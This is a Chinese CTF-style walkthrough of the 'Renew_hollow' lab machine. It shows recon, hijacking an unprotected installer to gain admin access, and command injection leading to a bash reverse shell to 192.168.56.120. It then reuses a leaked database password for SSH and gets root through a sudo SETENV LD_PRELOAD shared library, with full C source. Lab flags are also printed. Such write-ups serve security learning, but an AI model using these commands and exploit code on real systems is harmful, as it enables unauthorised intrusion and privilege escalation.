Renew_hollow
启动靶机

靶机地址 <192>192>.168.56.119
信息收集
nmap信息收集

开放22和80端口
看一下web服务

一个管理系统 我们尝试使用admin/admin登陆一下 显示密码错误
使用dirsearch扫一下目录

/config.php /dashboard.php -> login.php /file.php /install.php /install.php?profile=default /login.php
其中file.php和config.php打不开 我一开始先尝试用file.php?file=进行目录穿越尝试读取config.php 然后发现不可以
而且我也对admin进行了爆破 发现没有找到相对应的密码 所以入口点可能就在install.php了
同时也尝试过使用其他扫描工具去扫描 发现结果还不如dirsearch
未授权安装进入后台
install.php

一个安装界面
首先尝试的是新建一个数据库名和账号密码 来登录admin 发现是不行的 然后就在自己kali上建一个数据库 让这个连接到kali的数据库里面来创建admin账户
在MariaDB上创建一个
DROP USER IF EXISTS 'hollow'@'%';CREATE USER 'hollow'@'%' IDENTIFIED BY 'hollow';GRANT ALL PRIVILEGES ON hollow.* TO 'hollow'@'%';FLUSH PRIVILEGES;
用mysql -urenew -p'Hollow123!@#' -h127.0.0.1 -e 'SHOW DATABASES;'测试一下创建有没有成功
成功后进行安装


安装成功进入后台
这里安装的时候可能会遇到一些问题 就是会返回500 这个原因是因为本地的mariadb进程一般是监听127.0.0.1:3306 改成0.0.0.0:3306后重启服务 再次提交表单就可以了
后台RCE拿到www-data
打开后台发现可以执行几个命令

那我们猜测这里可以执行其他的命令 抓个包看一下

POST请求 cmd参数
我们测一下可以用其他参数吗
cmd=id

然后我们尝试反弹shell
bash -i >& /dev/tcp/192.168.56.120/7777 0>&1
cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/192.168.56.120/7777+0%3E%261%27

拿到www-data权限
密码复用拿到u12138
我们在/var/www/html下看到了一个备份文件
www-data@Renew:/var/www/html$ cat bak.phpcat bak.php<?php// Database configuration (backup copy, kept by sysadmin)$db_host = 'localhost';$db_port = '3306';$db_user = 'webapp';$db_pass = 'oQuPn4zOHN60zz3UdyE6';$db_name = 'webapp';?>暴露了之前的webapp的密码 他不会无缘给你暴露的 而且www权限是低用户几乎做不了任何事情 然后我们看一下有什么账号比较可疑 用这个数据库密码尝试ssh登录
www-data@Renew:/var/www/html$ cat /etc/passwdcat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin_apt:x:42:65534::/nonexistent:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologindhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/falsesystemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologinmessagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologinsshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologinmysql:x:101:103:MariaDB Server:/nonexistent:/bin/falseu12138:x:1000:1000::/home/u12138:/bin/bash看到了u12138 尝试登录

登录成功拿到user.txt
通过共享库提权到root
然后就是提权
sudo -l一下

重要信息
User u12138 may run the following commands on Renew: (root) SETENV: NOPASSWD: /usr/bin/id这个说明我们可以通过这个用户以root的身份用sudo设置环境变量
核心是SETENV 我们可以通过这个尝试用LD_PRELOAD载入恶意的共享库来拿到root
然后我们编写恶意的共享库
root.c
#define _GNU_SOURCE#include <unistd.h>#include <stdlib.h>
__attribute__((constructor))void init(void) { unsetenv("LD_PRELOAD");
setresgid(0, 0, 0); setresuid(0, 0, 0);
char *cmd = getenv("ROOTCMD"); if (cmd && *cmd) { execl("/bin/bash", "bash", "-p", "-c", cmd, NULL); } else { execl("/bin/bash", "bash", "-p", NULL); }}编译
gcc -shared -fPIC -o /tmp/root.so /tmp/root.c
注入
sudo LD_PRELOAD=/tmp/root.so /usr/bin/id

拿到root权限
flag
flag{root-e723611b23de3b150340a79dd3b63373}
flag{user-6a9729d94dcd1286a3c932fd2d687c7a}
彩蛋
通过群主的提示 在/root下有一个…文件 我们cat一下

如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时